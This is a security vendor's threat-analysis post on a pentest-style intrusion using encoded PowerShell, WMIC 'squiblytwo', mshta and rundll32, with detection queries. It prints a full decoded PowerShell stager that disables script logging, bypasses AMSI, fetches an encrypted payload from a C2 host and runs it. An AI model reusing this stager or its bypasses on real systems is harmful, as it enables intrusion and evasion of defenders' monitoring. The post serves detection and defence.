An attack leveraging cmd.exe and PowerShell was recently investigated by Cb ThreatSight analysts. Our initial investigation discovered that a batch file was executed on the targeted system. This batch file then invoked PowerShell with a base64 encoded command. Decoding the command revealed a series of PowerShell cmdlets which were utilized to download and decrypt a second stage payload. The first stage of base64 decoded command appears to be a payload created by a popular PowerShell Framework, like PowerShell Empire.
The second stage payload also leveraged legitimate Microsoft applications to complete the series of malicious events. Our investigation concluded that this was an internal pentest being conducted, however the tactics leveraged represent commonly used and effective techniques that are observed in the wild. In the latter stages, we observed a WMIC bypass technique, dubbed βsquiblytwo.β All of these processes used are trusted Microsoft applications which are commonly abused by an attacker to perform malicious behavior, in an attempt to avoid detection. This is where an understanding of what is normal behavior for these trusted applications becomes paramount in order to quickly detect outlying activity.
Initially we observed a suspicious alert for an organization, based upon our profiling of what is typical in that environment:
From our understanding of this organization, and in general most environments, there is rarely a legitimate use case for PowerShell to be reading memory from lsass. In this scenario, the default out-of-the-box policy did its job in preventing the scraping of credentials.
Figure 1: Powershell Attempting to Scrape passwords from lsass overview
While analyzing the process tree above, we observed the PowerShell process with suspicious command line arguments being invoked by execute.bat. Below is an excerpt of the command line arguments that was provided to PowerShell:
Figure 2: Powershell base64 encoded command
It should be noted that the -enc parameter is being used to denote the data after it has been Base64 encoded. This above data decodes to the following:
If($PSVeRSiONTAblE.PSVERsioN.MajoR -gE 3){$GPF=[rEf].ASsEmBLy.GetTyPe(βSystem.Management.Automation.Utilsβ).βGEtFIE`ldβ('cachedGr
We were unable to obtain the original execute.bat file, however our analysts were able to locate a variant in the wild with similar characteristics, whose metadata is listed below. We are assuming this variant is identical in functionality to the discovered sample.
MD5
|
e03c0ac69a78dfc9920a88a5aac5f843
β|β
SHA-256
|
e952b9e53974c194794a36491af46c4a08ecebb08aed005eeab9d3b336e384a9
Figure 3: Execute.bat variant hashes
The relevant code, from the public sample, was decoded and converted from UTF-16, which is listed in the table below. The code attempts to disable the ScriptBlock security logging feature and then proceeds to download a second stage payload. In this variant, the downloaded file will be RC4 decrypted and executed using the IEX cmdlet.
It should be noted that the string below was formatted for analysis purposes.
If($PSVERSiONTaBle.PSVErSioN.MAjOR -GE 3)
{$GPF=[REF].AssEMbLy.GeTTyPe('System.Management.Automation.Utils').βGETFIe`LDβ('cachedGroupPolicySettings','N'+'onPublic,Static');
If($GPF){$GPC=$GPF.GEtVAluE($NULl);
If($GPC['ScriptB'+'lockLogging']){$GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;
$GPC['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}
$vAL=[CollEctiOns.GENErIc.DIctIOnaRy[strING,SYStEm.OBjECt]]::nEW();
$vAl.ADD('EnableScriptB'+'lockLogging',0);
$val.ADd('EnableScriptBlockInvocationLogging',0);
$GPC['HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptB'+'lockLogging']=$VAl}
ELse{
[ScrIPtBloCK].βGEtFIe`LDβ('signatures','N'+'onPublic,Static').SETVaLUE($NULl,(New-OBjEct COlLeCTiONs.GeNEric.HAShSet[StrIng]))}[REf].ASSembLy.GeTTyPE('System.Management.Automation.AmsiUtils')|?{$}|%{$.GeTFIELd('amsiInitFailed','NonPublic,Static').SetVaLuE($nuLL,$TRUE)};
};
wC=New-OBJeCt SySteM.NET.WebCLIENT;
$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
System.Net.ServicePointManager::ServerCertificateValidationCallback = {$true};
$wc.HeadeRs.ADd('User-Agent',$u);
$wC.PrOXY=[SysTEM.Net.WEbReQueSt]::DEfauLTWEbPrOxY;
$WC.PRoXY.CREDenTIals = [SySteM.NEt.CrEdeNtIAlCache]::DefAUltNETWOrKCREdENtIAls;
$Script:Proxy = $wc.Proxy;$K=[SystEM.TexT.EncoDinG]::ASCII.GETBYTes('7b24afc8bc80e548d66c4e7ff72171c5');
$R={$D,$K=$ARgS;$S=0β¦255;0β¦255|%{$J=($J+$S[$]+$K[$%$K.CoUnt])%256;
$S[$],$S[$J]=$S[$J],$S[$]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];
$_-bxoR$S[($S[$I]+$S[$H])%256]}};
$ser='https://10.14.32.57:80';
$t='/admin/get.php';
$Wc.HeaDErs.ADd(βCookieβ,βsession=KddXXXRFmjo2Mq+69iuMIrsR8D8=β);
$DaTa=$WC.DoWnLOaDDAtA($SER+$T);
$IV=$DatA[0β¦3];
$DAta=$daTa[4β¦$DaTa.lENgth];-jOiN[CHAR[]](& $R $daTa ($IV+$K))|IEX
Figure 4: String output of execute.bat variant
Next, we performed a search for activity related to the batch file and the child PowerShell process:
applicationName:powershell.exe AND (commandLine:enc* AND commandLine:noP AND commandLine:sta)
This search discovered similar PowerShell behavior on four endpoints. To verify the scope of the threat, we then searched for the hash of the original execute.bat file that launched the obfuscated PowerShell. Obfuscated PowerShell is not necessarily malicious, but three of the four endpoints matching our search had also executed the suspicious batch file, and were exhibiting the same types of suspicious activity found on the original host. We continued to triage each endpoint to piece together the overarching timeline of events. Our analysis revealed almost identical behavior was occuring on three of the four compromised endpoints, while the fourth exhibited different behaviors. We will dissect both sets of behaviors below:
Compromised Systems 1, 2, & 3
In order to clearly observe the chain of events for all of the three endpoints, we expanded the scope in our console allowing us to easily see all events related to this portion of the attack. The precursor to the execute.bat was the parent process cmd.exe, so we pivoted to any additional child processes not included in the original alert. We discovered the identical sequence of events across these three compromised endpoints.
Figure 5: execute.bat being invoked by cmd.exe
This chain of events, depicted above, confirmed our suspicion that cmd.exe created and then invoked execute.bat, which subsequently invoked PowerShell with the associated encoded command line we initially observed. After a review of the systems, and given that cmd.exe created this batch file, it is assumed that credentials were abused or compromised in order to authenticate with the three compromised machines that we observed running encoded PowerShell commands. This could be achieved by observing inbound/outbound network connections within Cb Defense, but a more detailed account would require a review of Windows event logs to indicate which system made the connection to the target systems, and the account(s) used to authenticate.
Immediately after the invocation of the batch file, we noted a TCP/8321 network connection to a 10.x.x.x IP address, indicating that an internal IP address was being leveraged to host the second stage payload. We observed that all of the compromised endpoints connected to the same IP address on port TCP/8321.
Figure 6: PowerShell connecting back to C2
Seconds later, PowerShell performed whoami via the command line and then attempted to read the memory of lsass.exe. Note that Windows admins can leverage whoami, but in the context of PowerShell scraping passwords from lsass, this seems to indicate internal network reconnaissance.
Compromised System 4
The fourth compromised endpoint was also running PowerShell with encoded arguments. Additional analysis was conducted to determine if there were any suspicious batch files using the following query:
applicationName:execute.bat AND Operation:Invokes a command interpreter
We detected the presence of a βlegitimateβ execute.bat script (in this case named agent_execute.bat) which we identified was used for this customerβs patching process. It is possible the attacker named their malicious file βexecute.batβ in a similar fashion to evade suspicion. However, that would require previous knowledge of the companyβs patching practices.
This environment did not demonstrate prolific use of PowerShell or cmd.exe. Therefore we leveraged a broad search to include any events associated with cmd.exe or PowerShell:
deviceName:XX AND (powershell.exe OR cmd.exe).
We were able to perform this search due to an understanding of the customerβs environment - they had a few routinely scheduled PowerShell scripts, so we were able to whittle down the events via search negations. On our fourth compromised system, we observed suspicious events starting a hour prior to observing the previous malicious PowerShell behavior on the other three compromised devices.
The malicious events on the fourth compromised machine differed from the previous three systems. We observed the following sequence of events:
Figure 7: Ordinals observed in PowerShell command line
The encoded command is different in structure from the other malicious PowerShell arguments⦠In this scenario we observed the presence of ordinal encoded characters in the PowerShell command line as opposed to Base64 encoded characters. We converted these ordinals to a human readable format, which is displayed below:
β[Net.ServicePointManager]::ServerCertificateValidationCallback = {$trueβ
This conversion provided us with sufficient information to know that the attacker was giving instructions to ignore the SSL certificate check while making HTTP Requests from PowerShell**.**
Additionally we observed that cmd.exe invoked WMIC.exe with the following command line arguments:
and target command line
Figure 8: WMIC bypass βSquiblytwoβ
Here WMIC invoked an XSL script from a URL. The tactic used here is a WMIC bypass technique dubbed as squiblytwo. In this scenario, the attacker triggered the execution of the QRnf.xsl file, leveraging this activity for persistence and additional lateral movement.
Almost immediately we observed a connection to an internal (10.x.x.x) IP address over TCP/9996, the same IP address that was used in the previous malicious PowerShell activity.
Additionally, we observed the following behavior:
Figure 9: Invocation of mshta
Again we observed another connection to the same C2, this time via TCP/9999. This activity helped to solidify our previous assumption that this activity was related to an internal penetration testing exercise. Since we were not informed that the organization would be performing a penetration test, we continued our investigation.
Figure 10: Invocation of rundll32.exe to connect to C2
The above command line shows that rundll32.exe was being utilized to run javascript. We then saw rundll32.exe making a network connection to the same IP address that we deemed our C2 for this investigation.
On the same endpoint, we detect a plethora of basic networking checks (arp, netstat -ano, nslookup, etc.) which suggests reconnaissance. There was a lull in activity for approximately fifteen minutes, but we detected another burst in activity shortly thereafter.
Figure 11: Detected Reconnaissance
The file C:\Windows\Temp\__PSScriptPolicyTest_mcnxgxch.sw5.ps1 file was dropped and invoked, created by powershell.exe. We observed the following in the command line:
cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " .( $βpsβhOβmeβ[2β1]β+$βPSβHOβmEβ[3β0]β+'βXββ) ( [striNg]::JOIN( ",( 'β91βR7β8{β10β1{β11β6Dβ46βq8β3Rβ10β1~β11β4Dβ11β8aβ10β5aβ99β{1β01βu8β0Iβ11β1:β10β5Dβ11β0Rβ11β6{β77βR9β7uβ11β0qβ97βD1β03β}1β01β~1β14βu9β3}β58βR5β8{β83β~1β01β:1β14βq1β18βq1β01β}1β14βu6β7}β10β1}β11β4Dβ11β6Rβ10β5{β10β2{β10β5Rβ99β}9β7Dβ11β6uβ10β1uβ86βD9β7:β10β8aβ10β5:β10β0}β97β{1β16βu1β05β~1β11βD1β10βq6β7qβ97βI1β08βI1β08βI9β8qβ97β~9β9Rβ10β7:β32βI6β1~β32βR1β23β~3β6Rβ11β6Rβ11β4~β11β7~β10β1Iβ12β5aβ10β:1β16β:1β14β{1β21βq1β23β:1β0
This seems to be encoded with a tool like Invoke-obfuscation.
Basic frequency analysis of the string identified values that needed to be replaced or removed leaving decimal values of characters. The expression [A-Z]|{|:|~|} was used to replace those values with a β,β creating an array. Using Python we then converted the ordinal values into characters and combined them into a string:
a = [91,78,101,116,46,83,101,114,118,105,99,101,80,111,105,110,116,77,97,110,97,103,101,114,93,58,58,83,101,114,118,101,114,67,101,114,116,105,102,105,99,97,116,101,86,97,108,105,100,97,116,105,111,110,67,97,108,108,98,97,99,107,32,61,32,123,36,116,114,117,101,125,10,116,114,121,123]
out = "
for x in a:
β¦ out += chr(x)
The above code produced the following string:
[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\ntry{
Additionally cmd.exe was invoked, and we observed the following command line:
_C:\WINDOWS\system32\cmd.exe /Q /c \\10.x.x.x\DHELF\Befspl.bat _
Investigation into our C2
As indicated by the corresponding internal IP address, Befspl.bat was present on the device that was receiving all the incoming network connections from the four endpoints exhibiting the malicious PowerShell activity. It is very likely this batch file also contained malicious code. This batch file was not obtained and analyzed for this investigation.
We triaged the entire organization to ensure there were no additional instances of this batch file or associated activity. The only additional finding was services.exe invoking cmd.exe that we observed earlier. There were no other instances of suspicious batch files executing or being called upon by other processes, indicating the sole purpose of the file was related to this exercise.
In real-life attack scenarios, we wouldnβt have visibility into the C2. However, seeing that it was an internal IP address, we performed a search and discovered that Cb Defense was installed on our C2 endpoint. Mshta.exe, rundll32.exe, and WMIC.exe all made numerous netconns back to our C2 from the four compromised endpoints.
Cb Defense was leveraged for the purpose of this investigation. Suggested queries and rules are provided below. Comparable watchlists in Cb Response and Custom rules (i.e. execution control rules and command-line macros) in Cb Protection would provide similar detection and prevention mechanisms, respectively. They were not in scope and therefore not tested for this customer at this time.
Prior to implementing any rules, note it is extremely important to establish a baseline of what is normal in the environment in order to create rules with high efficacy.
Recommend Cb Defense Policies
**Note:**As long as the customer leaves this very specific, they wonβt terminate their patching bat file
Other strong candidates due to the nature of similar attacks and whitelisting bypasses:
Supplementary Detection Queries
In addition to the queries provided in this investigation, we noted malicious network activity occurring via TCP/8321. This activity encompasses the encoded/obfuscated command lines we observed. In fact, no other processes leverage this service in this environment. It would be easy for the customer to make a network rules to restrict traffic. That recommendation however, is outside the scope of Cb Defense, or any Carbon Black software for that matter.
We additionally detected mshta.exe, rundll32.exe, and WMIC.exe make netconns to our C2 via high ports (TCP/9996, TCP/9997, TCP/9999). It is best practice to audit what other processes are using these services. We performed a combined search and combed through the results:
The observed WMIC behavior can similarly be detected in Cb Response with the following queries:
(process_name:wmic.exe cmdline:/format* (netconn_count:[1 TO ] OR cmdline:.xsl) (modload:vbscript.dll OR modload:jscript.dll))
(process_name:wmic.exe cmdline:/format* (-netconn_count:[1 TO ] OR -cmdline:.xsl) (modload:vbscript.dll OR modload:jscript.dll))
Outstanding Items
For the scope of this write-up, the analysts did not have access to Befspl.bat, therefore an analysis of that batch file was not completed for this investigation.
The QRnf.xsl executed from WMIC.exe was also not provided by the customer. Analysis of the original file was also not completed for the investigation.
Cb Threat Analysis Unit (TAU)
**ThreatSight Analysts:**Emily Miner, Marina Liang
**Sr. Threat Researcher:**Jared Myers
References
https://www.mdsec.co.uk/2018/06/freestyling-with-sharpshooter-v1-0/
http://subt0x11.blogspot.com/2018/04/wmicexe-whitelisting-bypass-hacking.html
https://github.com/danielbohannon/Invoke-Obfuscation/blob/master/Out-EncodedAsciiCommand.ps1
https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/
The post Threat Analysis: Recent Attack Technique Leveraging cmd.exe and PowerShell Demonstrates How Attackers Are Using Trusted Microsoft Applications for Malicious Behavior appeared first on Carbon Black.